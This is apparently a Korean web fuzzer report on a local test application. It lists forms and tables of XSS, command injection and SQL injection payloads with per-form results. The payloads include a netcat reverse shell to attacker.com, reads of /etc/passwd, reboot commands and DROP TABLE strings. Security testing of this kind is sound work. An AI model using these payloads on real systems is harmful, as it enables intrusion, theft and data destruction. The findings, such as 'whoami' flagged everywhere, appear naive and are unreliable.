# 웹 퍼저 리포트

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## 1. 크<del>롤</del>링 결과

# - http://localhost:3000/posts - http://localhost:3000 - http://localhost:3000/products/add - http://localhost:3000/login - http://localhost:3000/ - http://localhost:3000/products - http://localhost:3000/products

# 2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/p osts	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/l ogin	http://localhost:3000/l ogin	POST	username (type: text), password (type: password)
http://localhost:3000/p roducts	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts/add	http://localhost:3000/p osts/add	POST	title (type: text), content (type: textarea), file (type: file)
http://localhost:3000/r egister	http://localhost:3000/r egister	POST	username (type: text), password (type: password), confirmPassword (type: password)
http://localhost:3000/p roducts/add	http://localhost:3000/p roducts/add	POST	name (type: text), description (type: textarea), price (type: number)

# 3. 퍼징 시도 및 결과

#### -- 취약점 발견 시도 --XSS

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/script⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/script⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><img onerror="alert('XSS')" src="x"/></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre> <svg )="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견

#### **Command Injection**

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	`reboot`	Command Injection 취약점 발견
http://localhost:3000/login	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	`reboot`	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/login	`reboot`	Command Injection 취약점 발견

http://localhost:3000/login	nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/p osts/add	nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/p osts/add	whoami	Command Injection 취약점 발견
http://localhost:3000/p osts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p osts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/p osts/add	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/p osts/add	`reboot`	Command Injection 취약점 발견
http://localhost:3000/re gister	; ls	Command Injection 취약점 발견
http://localhost:3000/re gister	whoami	Command Injection 취약점 발견
http://localhost:3000/re gister	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/re gister	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/re gister	`reboot`	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	nc -e /bin/sh attacker.com 1234	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	\$(reboot)	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	`reboot`	Command Injection 취약점 발견

#### 요청 실패: [Errno 54] Connection reset by peer

폼 액션	페이로드	결과
http://localhost:3000/re gister	nc -e /bin/sh attacker.com 1234	요청 실패: [Errno 54] Connection reset by peer
http://localhost:3000/p roducts/add	<pre><svg )="" onload="alert('XSS'"></svg></pre>	요청 실패: [Errno 54] Connection reset by peer

## **SQL** Injection

폼 액션	페이로드	결과
http://localhost:3000/p osts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	'; DROP TABLE users;	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	admin'	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	'; DROP TABLE users;	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	admin'	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' #	SQL Injection 취약점 발견

#### 취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/login	'; DROP TABLE users;	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/login	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	<pre><img onerror="alert('XSS')" src="x"/></pre>	취약점 없음
http://localhost:3000/login	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	취약점 없음
http://localhost:3000/login	<pre><svg )="" onload="alert('XSS'"></svg></pre>	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음

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http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	admin'	취약점 없음
http://localhost:3000/p osts/add	<pre><img onerror="alert('XSS')" src="x"/></pre>	취약점 없음
http://localhost:3000/p osts/add	<pre><svg )="" onload="alert('XSS'"></svg></pre>	취약점 없음
http://localhost:3000/p osts/add	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/p osts/add	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/p osts/add	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	취약점 없음
http://localhost:3000/re gister	' OR '1'='1	취약점 없음
http://localhost:3000/re gister	'; DROP TABLE users;	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' /*	취약점 없음
http://localhost:3000/re gister	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' ({	취약점 없음
http://localhost:3000/re gister	admin'	취약점 없음
http://localhost:3000/re gister	' OR '1'='1' #	취약점 없음

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http://localhost:3000/re gister	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/re gister	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/re gister	<pre><img onerror="alert('XSS')" src="x"/></pre>	취약점 없음
http://localhost:3000/re gister	<pre></pre>	취약점 없음
http://localhost:3000/p roducts/add	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/p roducts/add	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/p roducts/add	<pre><img onerror="alert('XSS')" src="x"/></pre>	취약점 없음
http://localhost:3000/p roducts/add	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	취약점 없음